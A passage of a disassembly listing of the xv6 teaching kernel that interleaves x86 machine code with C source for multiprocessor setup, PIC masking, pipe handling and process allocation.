80103020: 31 c9 xor %ecx,%ecx
for(i=0; i<len; i++)
80103022: 31 d2 xor %edx,%edx
80103024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sum += addr[i];
80103028: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx
8010302f: 80
for(i=0; i<len; i++)
80103030: 83 c2 01 add $0x1,%edx
sum += addr[i];
80103033: 01 d9 add %ebx,%ecx
for(i=0; i<len; i++)
80103035: 39 d0 cmp %edx,%eax
80103037: 7f ef jg 80103028 <mpinit+0xa8>
if(sum((uchar*)conf, conf->length) != 0)
80103039: 84 c9 test %cl,%cl
8010303b: 0f 85 cc 00 00 00 jne 8010310d <mpinit+0x18d>
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
80103041: 8b 45 e4 mov -0x1c(%ebp),%eax
80103044: 85 c0 test %eax,%eax
80103046: 0f 84 c1 00 00 00 je 8010310d <mpinit+0x18d>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
8010304c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax
ismp = 1;
80103052: bb 01 00 00 00 mov $0x1,%ebx
lapic = (uint*)conf->lapicaddr;
80103057: a3 7c 26 11 80 mov %eax,0x8011267c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010305c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx
80103063: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax
80103069: 03 55 e4 add -0x1c(%ebp),%edx
8010306c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103070: 39 c2 cmp %eax,%edx
80103072: 76 1b jbe 8010308f <mpinit+0x10f>
80103074: 0f b6 08 movzbl (%eax),%ecx
switch(*p){
80103077: 80 f9 04 cmp $0x4,%cl
8010307a: 77 74 ja 801030f0 <mpinit+0x170>
8010307c: ff 24 8d 7c 73 10 80 jmp *-0x7fef8c84(,%ecx,4)
80103083: 90 nop
80103084: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103088: 83 c0 08 add $0x8,%eax
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010308b: 39 c2 cmp %eax,%edx
8010308d: 77 e5 ja 80103074 <mpinit+0xf4>
default:
ismp = 0;
break;
}
}
if(!ismp)
8010308f: 85 db test %ebx,%ebx
80103091: 0f 84 93 00 00 00 je 8010312a <mpinit+0x1aa>
panic("Didn't find a suitable machine");
if(mp->imcrp){
80103097: 80 7f 0c 00 cmpb $0x0,0xc(%edi)
8010309b: 74 12 je 801030af <mpinit+0x12f>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010309d: ba 22 00 00 00 mov $0x22,%edx
801030a2: b8 70 00 00 00 mov $0x70,%eax
801030a7: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801030a8: b2 23 mov $0x23,%dl
801030aa: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
801030ab: 83 c8 01 or $0x1,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801030ae: ee out %al,(%dx)
}
}
801030af: 83 c4 1c add $0x1c,%esp
801030b2: 5b pop %ebx
801030b3: 5e pop %esi
801030b4: 5f pop %edi
801030b5: 5d pop %ebp
801030b6: c3 ret
801030b7: 90 nop
if(ncpu < NCPU) {
801030b8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
801030be: 83 fe 07 cmp $0x7,%esi
801030c1: 7f 17 jg 801030da <mpinit+0x15a>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
801030c3: 0f b6 48 01 movzbl 0x1(%eax),%ecx
801030c7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi
ncpu++;
801030cd: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
801030d4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi)
p += sizeof(struct mpproc);
801030da: 83 c0 14 add $0x14,%eax
continue;
801030dd: eb 91 jmp 80103070 <mpinit+0xf0>
801030df: 90 nop
ioapicid = ioapic->apicno;
801030e0: 0f b6 48 01 movzbl 0x1(%eax),%ecx
p += sizeof(struct mpioapic);
801030e4: 83 c0 08 add $0x8,%eax
ioapicid = ioapic->apicno;
801030e7: 88 0d 60 27 11 80 mov %cl,0x80112760
continue;
801030ed: eb 81 jmp 80103070 <mpinit+0xf0>
801030ef: 90 nop
ismp = 0;
801030f0: 31 db xor %ebx,%ebx
801030f2: eb 83 jmp 80103077 <mpinit+0xf7>
return mpsearch1(0xF0000, 0x10000);
801030f4: ba 00 00 01 00 mov $0x10000,%edx
801030f9: b8 00 00 0f 00 mov $0xf0000,%eax
801030fe: e8 0d fe ff ff call 80102f10 <mpsearch1>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103103: 85 c0 test %eax,%eax
return mpsearch1(0xF0000, 0x10000);
80103105: 89 c7 mov %eax,%edi
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103107: 0f 85 c5 fe ff ff jne 80102fd2 <mpinit+0x52>
panic("Expect to run on an SMP");
8010310d: c7 04 24 42 73 10 80 movl $0x80107342,(%esp)
80103114: e8 47 d2 ff ff call 80100360 <panic>
80103119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(conf->version != 1 && conf->version != 4)
80103120: 3c 01 cmp $0x1,%al
80103122: 0f 84 ed fe ff ff je 80103015 <mpinit+0x95>
80103128: eb e3 jmp 8010310d <mpinit+0x18d>
panic("Didn't find a suitable machine");
8010312a: c7 04 24 5c 73 10 80 movl $0x8010735c,(%esp)
80103131: e8 2a d2 ff ff call 80100360 <panic>
80103136: 66 90 xchg %ax,%ax
80103138: 66 90 xchg %ax,%ax
8010313a: 66 90 xchg %ax,%ax
8010313c: 66 90 xchg %ax,%ax
8010313e: 66 90 xchg %ax,%ax
80103140 <picinit>:
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
80103140: 55 push %ebp
80103141: ba 21 00 00 00 mov $0x21,%edx
80103146: 89 e5 mov %esp,%ebp
80103148: b8 ff ff ff ff mov $0xffffffff,%eax
8010314d: ee out %al,(%dx)
8010314e: b2 a1 mov $0xa1,%dl
80103150: ee out %al,(%dx)
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
80103151: 5d pop %ebp
80103152: c3 ret
80103153: 66 90 xchg %ax,%ax
80103155: 66 90 xchg %ax,%ax
80103157: 66 90 xchg %ax,%ax
80103159: 66 90 xchg %ax,%ax
8010315b: 66 90 xchg %ax,%ax
8010315d: 66 90 xchg %ax,%ax
8010315f: 90 nop
80103160 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103160: 55 push %ebp
80103161: 89 e5 mov %esp,%ebp
80103163: 57 push %edi
80103164: 56 push %esi
80103165: 53 push %ebx
80103166: 83 ec 1c sub $0x1c,%esp
80103169: 8b 75 08 mov 0x8(%ebp),%esi
8010316c: 8b 5d 0c mov 0xc(%ebp),%ebx
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
8010316f: c7 03 00 00 00 00 movl $0x0,(%ebx)
80103175: c7 06 00 00 00 00 movl $0x0,(%esi)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
8010317b: e8 d0 db ff ff call 80100d50 <filealloc>
80103180: 85 c0 test %eax,%eax
80103182: 89 06 mov %eax,(%esi)
80103184: 0f 84 a4 00 00 00 je 8010322e <pipealloc+0xce>
8010318a: e8 c1 db ff ff call 80100d50 <filealloc>
8010318f: 85 c0 test %eax,%eax
80103191: 89 03 mov %eax,(%ebx)
80103193: 0f 84 87 00 00 00 je 80103220 <pipealloc+0xc0>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103199: e8 f2 f2 ff ff call 80102490 <kalloc>
8010319e: 85 c0 test %eax,%eax
801031a0: 89 c7 mov %eax,%edi
801031a2: 74 7c je 80103220 <pipealloc+0xc0>
goto bad;
p->readopen = 1;
801031a4: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
801031ab: 00 00 00
p->writeopen = 1;
801031ae: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
801031b5: 00 00 00
p->nwrite = 0;
801031b8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
801031bf: 00 00 00
p->nread = 0;
801031c2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
801031c9: 00 00 00
initlock(&p->lock, "pipe");
801031cc: 89 04 24 mov %eax,(%esp)
801031cf: c7 44 24 04 90 73 10 movl $0x80107390,0x4(%esp)
801031d6: 80
801031d7: e8 64 0e 00 00 call 80104040 <initlock>
(*f0)->type = FD_PIPE;
801031dc: 8b 06 mov (%esi),%eax
801031de: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
801031e4: 8b 06 mov (%esi),%eax
801031e6: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
801031ea: 8b 06 mov (%esi),%eax
801031ec: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
801031f0: 8b 06 mov (%esi),%eax
801031f2: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
801031f5: 8b 03 mov (%ebx),%eax
801031f7: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
801031fd: 8b 03 mov (%ebx),%eax
801031ff: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103203: 8b 03 mov (%ebx),%eax
80103205: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80103209: 8b 03 mov (%ebx),%eax
return 0;
8010320b: 31 db xor %ebx,%ebx
(*f1)->pipe = p;
8010320d: 89 78 0c mov %edi,0xc(%eax)
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103210: 83 c4 1c add $0x1c,%esp
80103213: 89 d8 mov %ebx,%eax
80103215: 5b pop %ebx
80103216: 5e pop %esi
80103217: 5f pop %edi
80103218: 5d pop %ebp
80103219: c3 ret
8010321a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(*f0)
80103220: 8b 06 mov (%esi),%eax
80103222: 85 c0 test %eax,%eax
80103224: 74 08 je 8010322e <pipealloc+0xce>
fileclose(*f0);
80103226: 89 04 24 mov %eax,(%esp)
80103229: e8 e2 db ff ff call 80100e10 <fileclose>
if(*f1)
8010322e: 8b 03 mov (%ebx),%eax
return -1;
80103230: bb ff ff ff ff mov $0xffffffff,%ebx
if(*f1)
80103235: 85 c0 test %eax,%eax
80103237: 74 d7 je 80103210 <pipealloc+0xb0>
fileclose(*f1);
80103239: 89 04 24 mov %eax,(%esp)
8010323c: e8 cf db ff ff call 80100e10 <fileclose>
}
80103241: 83 c4 1c add $0x1c,%esp
80103244: 89 d8 mov %ebx,%eax
80103246: 5b pop %ebx
80103247: 5e pop %esi
80103248: 5f pop %edi
80103249: 5d pop %ebp
8010324a: c3 ret
8010324b: 90 nop
8010324c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103250 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80103250: 55 push %ebp
80103251: 89 e5 mov %esp,%ebp
80103253: 56 push %esi
80103254: 53 push %ebx
80103255: 83 ec 10 sub $0x10,%esp
80103258: 8b 5d 08 mov 0x8(%ebp),%ebx
8010325b: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
8010325e: 89 1c 24 mov %ebx,(%esp)
80103261: e8 ca 0e 00 00 call 80104130 <acquire>
if(writable){
80103266: 85 f6 test %esi,%esi
80103268: 74 3e je 801032a8 <pipeclose+0x58>
p->writeopen = 0;
wakeup(&p->nread);
8010326a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
p->writeopen = 0;
80103270: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
80103277: 00 00 00
wakeup(&p->nread);
8010327a: 89 04 24 mov %eax,(%esp)
8010327d: e8 fe 0a 00 00 call 80103d80 <wakeup>
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80103282: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
80103288: 85 d2 test %edx,%edx
8010328a: 75 0a jne 80103296 <pipeclose+0x46>
8010328c: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
80103292: 85 c0 test %eax,%eax
80103294: 74 32 je 801032c8 <pipeclose+0x78>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
80103296: 89 5d 08 mov %ebx,0x8(%ebp)
}
80103299: 83 c4 10 add $0x10,%esp
8010329c: 5b pop %ebx
8010329d: 5e pop %esi
8010329e: 5d pop %ebp
release(&p->lock);
8010329f: e9 7c 0f 00 00 jmp 80104220 <release>
801032a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wakeup(&p->nwrite);
801032a8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
p->readopen = 0;
801032ae: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
801032b5: 00 00 00
wakeup(&p->nwrite);
801032b8: 89 04 24 mov %eax,(%esp)
801032bb: e8 c0 0a 00 00 call 80103d80 <wakeup>
801032c0: eb c0 jmp 80103282 <pipeclose+0x32>
801032c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
release(&p->lock);
801032c8: 89 1c 24 mov %ebx,(%esp)
801032cb: e8 50 0f 00 00 call 80104220 <release>
kfree((char*)p);
801032d0: 89 5d 08 mov %ebx,0x8(%ebp)
}
801032d3: 83 c4 10 add $0x10,%esp
801032d6: 5b pop %ebx
801032d7: 5e pop %esi
801032d8: 5d pop %ebp
kfree((char*)p);
801032d9: e9 02 f0 ff ff jmp 801022e0 <kfree>
801032de: 66 90 xchg %ax,%ax
801032e0 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
801032e0: 55 push %ebp
801032e1: 89 e5 mov %esp,%ebp
801032e3: 57 push %edi
801032e4: 56 push %esi
801032e5: 53 push %ebx
801032e6: 83 ec 1c sub $0x1c,%esp
801032e9: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
801032ec: 89 1c 24 mov %ebx,(%esp)
801032ef: e8 3c 0e 00 00 call 80104130 <acquire>
for(i = 0; i < n; i++){
801032f4: 8b 4d 10 mov 0x10(%ebp),%ecx
801032f7: 85 c9 test %ecx,%ecx
801032f9: 0f 8e b2 00 00 00 jle 801033b1 <pipewrite+0xd1>
801032ff: 8b 4d 0c mov 0xc(%ebp),%ecx
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
80103302: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi
80103308: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
8010330e: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi
80103314: 89 4d e4 mov %ecx,-0x1c(%ebp)
80103317: 03 4d 10 add 0x10(%ebp),%ecx
8010331a: 89 4d e0 mov %ecx,-0x20(%ebp)
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010331d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx
80103323: 81 c1 00 02 00 00 add $0x200,%ecx
80103329: 39 c8 cmp %ecx,%eax
8010332b: 74 38 je 80103365 <pipewrite+0x85>
8010332d: eb 55 jmp 80103384 <pipewrite+0xa4>
8010332f: 90 nop
if(p->readopen == 0 || myproc()->killed){
80103330: e8 5b 03 00 00 call 80103690 <myproc>
80103335: 8b 40 24 mov 0x24(%eax),%eax
80103338: 85 c0 test %eax,%eax
8010333a: 75 33 jne 8010336f <pipewrite+0x8f>
wakeup(&p->nread);
8010333c: 89 3c 24 mov %edi,(%esp)
8010333f: e8 3c 0a 00 00 call 80103d80 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80103344: 89 5c 24 04 mov %ebx,0x4(%esp)
80103348: 89 34 24 mov %esi,(%esp)
8010334b: e8 a0 08 00 00 call 80103bf0 <sleep>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103350: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
80103356: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx
8010335c: 05 00 02 00 00 add $0x200,%eax
80103361: 39 c2 cmp %eax,%edx
80103363: 75 23 jne 80103388 <pipewrite+0xa8>
if(p->readopen == 0 || myproc()->killed){
80103365: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
8010336b: 85 d2 test %edx,%edx
8010336d: 75 c1 jne 80103330 <pipewrite+0x50>
release(&p->lock);
8010336f: 89 1c 24 mov %ebx,(%esp)
80103372: e8 a9 0e 00 00 call 80104220 <release>
return -1;
80103377: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
8010337c: 83 c4 1c add $0x1c,%esp
8010337f: 5b pop %ebx
80103380: 5e pop %esi
80103381: 5f pop %edi
80103382: 5d pop %ebp
80103383: c3 ret
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103384: 89 c2 mov %eax,%edx
80103386: 66 90 xchg %ax,%ax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
80103388: 8b 4d e4 mov -0x1c(%ebp),%ecx
8010338b: 8d 42 01 lea 0x1(%edx),%eax
8010338e: 81 e2 ff 01 00 00 and $0x1ff,%edx
80103394: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
8010339a: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
8010339e: 0f b6 09 movzbl (%ecx),%ecx
801033a1: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1)
for(i = 0; i < n; i++){
801033a5: 8b 4d e4 mov -0x1c(%ebp),%ecx
801033a8: 3b 4d e0 cmp -0x20(%ebp),%ecx
801033ab: 0f 85 6c ff ff ff jne 8010331d <pipewrite+0x3d>
wakeup(&p->nread); //DOC: pipewrite-wakeup1
801033b1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
801033b7: 89 04 24 mov %eax,(%esp)
801033ba: e8 c1 09 00 00 call 80103d80 <wakeup>
release(&p->lock);
801033bf: 89 1c 24 mov %ebx,(%esp)
801033c2: e8 59 0e 00 00 call 80104220 <release>
return n;
801033c7: 8b 45 10 mov 0x10(%ebp),%eax
801033ca: eb b0 jmp 8010337c <pipewrite+0x9c>
801033cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801033d0 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
801033d0: 55 push %ebp
801033d1: 89 e5 mov %esp,%ebp
801033d3: 57 push %edi
801033d4: 56 push %esi
801033d5: 53 push %ebx
801033d6: 83 ec 1c sub $0x1c,%esp
801033d9: 8b 75 08 mov 0x8(%ebp),%esi
801033dc: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
801033df: 89 34 24 mov %esi,(%esp)
801033e2: e8 49 0d 00 00 call 80104130 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801033e7: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
801033ed: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
801033f3: 75 5b jne 80103450 <piperead+0x80>
801033f5: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx
801033fb: 85 db test %ebx,%ebx
801033fd: 74 51 je 80103450 <piperead+0x80>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
801033ff: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx
80103405: eb 25 jmp 8010342c <piperead+0x5c>
80103407: 90 nop
80103408: 89 74 24 04 mov %esi,0x4(%esp)
8010340c: 89 1c 24 mov %ebx,(%esp)
8010340f: e8 dc 07 00 00 call 80103bf0 <sleep>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103414: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
8010341a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
80103420: 75 2e jne 80103450 <piperead+0x80>
80103422: 8b 96 40 02 00 00 mov 0x240(%esi),%edx
80103428: 85 d2 test %edx,%edx
8010342a: 74 24 je 80103450 <piperead+0x80>
if(myproc()->killed){
8010342c: e8 5f 02 00 00 call 80103690 <myproc>
80103431: 8b 48 24 mov 0x24(%eax),%ecx
80103434: 85 c9 test %ecx,%ecx
80103436: 74 d0 je 80103408 <piperead+0x38>
release(&p->lock);
80103438: 89 34 24 mov %esi,(%esp)
8010343b: e8 e0 0d 00 00 call 80104220 <release>
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
80103440: 83 c4 1c add $0x1c,%esp
return -1;
80103443: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103448: 5b pop %ebx
80103449: 5e pop %esi
8010344a: 5f pop %edi
8010344b: 5d pop %ebp
8010344c: c3 ret
8010344d: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103450: 8b 55 10 mov 0x10(%ebp),%edx
if(p->nread == p->nwrite)
80103453: 31 db xor %ebx,%ebx
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103455: 85 d2 test %edx,%edx
80103457: 7f 2b jg 80103484 <piperead+0xb4>
80103459: eb 31 jmp 8010348c <piperead+0xbc>
8010345b: 90 nop
8010345c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
addr[i] = p->data[p->nread++ % PIPESIZE];
80103460: 8d 48 01 lea 0x1(%eax),%ecx
80103463: 25 ff 01 00 00 and $0x1ff,%eax
80103468: 89 8e 34 02 00 00 mov %ecx,0x234(%esi)
8010346e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax
80103473: 88 04 1f mov %al,(%edi,%ebx,1)
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103476: 83 c3 01 add $0x1,%ebx
80103479: 3b 5d 10 cmp 0x10(%ebp),%ebx
8010347c: 74 0e je 8010348c <piperead+0xbc>
if(p->nread == p->nwrite)
8010347e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
80103484: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
8010348a: 75 d4 jne 80103460 <piperead+0x90>
wakeup(&p->nwrite); //DOC: piperead-wakeup
8010348c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax
80103492: 89 04 24 mov %eax,(%esp)
80103495: e8 e6 08 00 00 call 80103d80 <wakeup>
release(&p->lock);
8010349a: 89 34 24 mov %esi,(%esp)
8010349d: e8 7e 0d 00 00 call 80104220 <release>
}
801034a2: 83 c4 1c add $0x1c,%esp
return i;
801034a5: 89 d8 mov %ebx,%eax
}
801034a7: 5b pop %ebx
801034a8: 5e pop %esi
801034a9: 5f pop %edi
801034aa: 5d pop %ebp
801034ab: c3 ret
801034ac: 66 90 xchg %ax,%ax
801034ae: 66 90 xchg %ax,%ax
801034b0 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
801034b0: 55 push %ebp
801034b1: 89 e5 mov %esp,%ebp
801034b3: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801034b4: bb 54 2d 11 80 mov $0x80112d54,%ebx
{
801034b9: 83 ec 14 sub $0x14,%esp
acquire(&ptable.lock);
801034bc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801034c3: e8 68 0c 00 00 call 80104130 <acquire>
801034c8: eb 11 jmp 801034db <allocproc+0x2b>
801034ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
801034d0: 83 eb 80 sub $0xffffff80,%ebx
801034d3: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
801034d9: 74 7d je 80103558 <allocproc+0xa8>
if(p->state == UNUSED)
801034db: 8b 43 0c mov 0xc(%ebx),%eax
801034de: 85 c0 test %eax,%eax
801034e0: 75 ee jne 801034d0 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
801034e2: a1 04 a0 10 80 mov 0x8010a004,%eax
release(&ptable.lock);
801034e7: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
p->state = EMBRYO;
801034ee: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
801034f5: 8d 50 01 lea 0x1(%eax),%edx
801034f8: 89 15 04 a0 10 80 mov %edx,0x8010a004
801034fe: 89 43 10 mov %eax,0x10(%ebx)
release(&ptable.lock);
80103501: e8 1a 0d 00 00 call 80104220 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
80103506: e8 85 ef ff ff call 80102490 <kalloc>
8010350b: 85 c0 test %eax,%eax
8010350d: 89 43 08 mov %eax,0x8(%ebx)
80103510: 74 5a je 8010356c <allocproc+0xbc>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103512: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
80103518: 05 9c 0f 00 00 add $0xf9c,%eax
sp -= sizeof *p->tf;
8010351d: 89 53 18 mov %edx,0x18(%ebx)
*(uint*)sp = (uint)trapret;
80103520: c7 40 14 35 54 10 80 movl $0x80105435,0x14(%eax)
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
80103527: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
8010352e: 00
8010352f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80103536: 00
80103537: 89 04 24 mov %eax,(%esp)
p->context = (struct context*)sp;
8010353a: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
8010353d: e8 2e 0d 00 00 call 80104270 <memset>
p->context->eip = (uint)forkret;
80103542: 8b 43 1c mov 0x1c(%ebx),%eax
80103545: c7 40 10 80 35 10 80 movl $0x80103580,0x10(%eax)
return p;
8010354c: 89 d8 mov %ebx,%eax
}
8010354e: 83 c4 14 add $0x14,%esp
80103551: 5b pop %ebx
80103552: 5d pop %ebp
80103553: c3 ret
80103554: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
80103558: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010355f: e8 bc 0c 00 00 call 80104220 <release>
}
80103564: 83 c4 14 add $0x14,%esp
return 0;
80103567: 31 c0 xor %eax,%eax
}
80103569: 5b pop %ebx
8010356a: 5d pop %ebp
8010356b: c3 ret
p->state = UNUSED;
8010356c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
80103573: eb d9 jmp 8010354e <allocproc+0x9e>
80103575: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103580 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80103580: 55 push %ebp
80103581: 89 e5 mov %esp,%ebp
80103583: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80103586: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010358d: e8 8e 0c 00 00 call 80104220 <release>
if (first) {
80103592: a1 00 a0 10 80 mov 0x8010a000,%eax
80103597: 85 c0 test %eax,%eax
80103599: 75 05 jne 801035a0 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
8010359b: c9 leave
8010359c: c3 ret
8010359d: 8d 76 00 lea 0x0(%esi),%esi
iinit(ROOTDEV);
801035a0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
first = 0;
801035a7: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000
801035ae: 00 00 00
iinit(ROOTDEV);
801035b1: e8 aa de ff ff call 80101460 <iinit>
initlog(ROOTDEV);
801035b6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801035bd: e8 9e f4 ff ff call 80102a60 <initlog>
}
801035c2: c9 leave
801035c3: c3 ret
801035c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801035ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801035d0 <pinit>:
{
801035d0: 55 push %ebp
801035d1: 89 e5 mov %esp,%ebp
801035d3: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
801035d6: c7 44 24 04 95 73 10 movl $0x80107395,0x4(%esp)
801035dd: 80
801035de: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
